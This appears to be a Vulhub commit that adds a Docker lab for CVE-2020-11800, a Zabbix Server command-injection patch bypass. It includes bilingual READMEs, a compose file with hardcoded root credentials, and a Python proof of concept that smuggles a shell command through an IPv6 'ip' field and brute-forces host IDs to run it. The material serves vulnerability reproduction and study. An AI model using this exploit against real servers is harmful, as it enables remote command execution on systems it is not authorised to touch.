first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
zabbix/CVE-2020-11800/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 87 KiB

BIN
zabbix/CVE-2020-11800/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

View File

@@ -0,0 +1,63 @@
# Zabbix Server Active Proxy Trapper Command Injection Bypass (CVE-2020-11800)
[中文版本(Chinese version)](README.zh-cn.md)
Zabbix is a network monitoring and management system developed by Alexei Vladishev, based on a Server-Client architecture. In [CVE-2017-2824][1], there was a code execution vulnerability in the Server-side trapper command functionality. However, the patch for that vulnerability was incomplete, allowing attackers to bypass it using IPv6 to inject arbitrary commands.
Reference:
- https://xz.aliyun.com/t/8991
## Environment Setup
Execute the following command to start a complete Zabbix environment, including the Web interface, Server, 1 Agent, and MySQL database:
```
docker compose up -d
```
After executing the command, run `docker compose ps` to check if all containers have started successfully. If not, try running `docker compose up -d` again.
To exploit this vulnerability, you need to enable the auto-registration feature on the server side. For instructions on how to enable it, please refer to [CVE-2017-2824][1].
## Vulnerability Reproduction
Modify the IP field in the [CVE-2017-2824][1] POC to create a new POC:
```python
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
```
As you can see, this POC is very similar to the [CVE-2017-2824][1] POC, but I use IPv6 `ffff:::;touch /tmp/success2` to bypass the patch.
When you see the following result, it indicates successful command execution:
![](1.png)
Enter the server container, and you can see that `/tmp/success2` has been successfully created:
![](2.png)
Interested users can improve this POC and submit a Pull Request.
[1]: ../CVE-2017-2824

View File

@@ -0,0 +1,61 @@
# Zabbix Server Active Proxy Trapper 命令注入漏洞修复绕过CVE-2020-11800
Zabbix 是由Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。在[CVE-2017-2824][1]中其Server端 trapper command 功能存在一处代码执行漏洞而修复补丁并不完善导致可以利用IPv6进行绕过注入任意命令。
参考链接:
- https://xz.aliyun.com/t/8991
## 环境搭建
执行如下命令启动一个完整的Zabbix环境包含Web端、Server端、1个Agent和Mysql数据库
```
docker compose up -d
```
命令执行后,执行`docker compose ps`查看容器是否全部成功启动,如果没有,可以尝试重新执行`docker compose up -d`
利用该漏洞,需要你服务端开启了自动注册功能,开启方法请参考[CVE-2017-2824][1]。
## 漏洞复现
修改[CVE-2017-2824][1]的POC中的IP字段构造新的POC
```python
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
```
可见这个POC与[CVE-2017-2824][1]的POC非常相似但我使用IPv6 `ffff:::;touch /tmp/success2`绕过了修复补丁。
当查看到如下结果时,则说明命令执行成功:
![](1.png)
进入server容器可见`/tmp/success2`已成功创建:
![](2.png)
有兴趣的同学可以对这个POC进行改进提交Pull Request。
[1]: ../CVE-2017-2824

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,51 @@
version: '2'
services:
server:
image: vulhub/zabbix:3.0.3-server
command: server
depends_on:
- mysql
environment:
- DATABASE_HOST=mysql
- DATABASE_PORT=3306
- DATABASE_USER=root
- DATABASE_PASS=root
- DATABASE_NAME=zabbix
ports:
- "10051:10051"
agent:
image: vulhub/zabbix:3.0.3-server
command: agent
depends_on:
- mysql
- server
environment:
- ZBX_SRV_HOST=server
- ZBX_SRV_HOST_ACT=server
- DATABASE_HOST=mysql
- DATABASE_PORT=3306
- DATABASE_USER=root
- DATABASE_PASS=root
- DATABASE_NAME=zabbix
mysql:
image: mysql:5
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=zabbix
volumes:
- ./database/:/docker-entrypoint-initdb.d/
web:
image: vulhub/zabbix:3.0.3-web
depends_on:
- server
- mysql
environment:
- DATABASE_HOST=mysql
- DATABASE_PORT=3306
- DATABASE_USER=root
- DATABASE_PASS=root
- DATABASE_NAME=zabbix
- ZBX_SRV_HOST=server
- ZBX_SRV_PORT=10051
ports:
- "8080:80"

View File

@@ -0,0 +1,21 @@
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)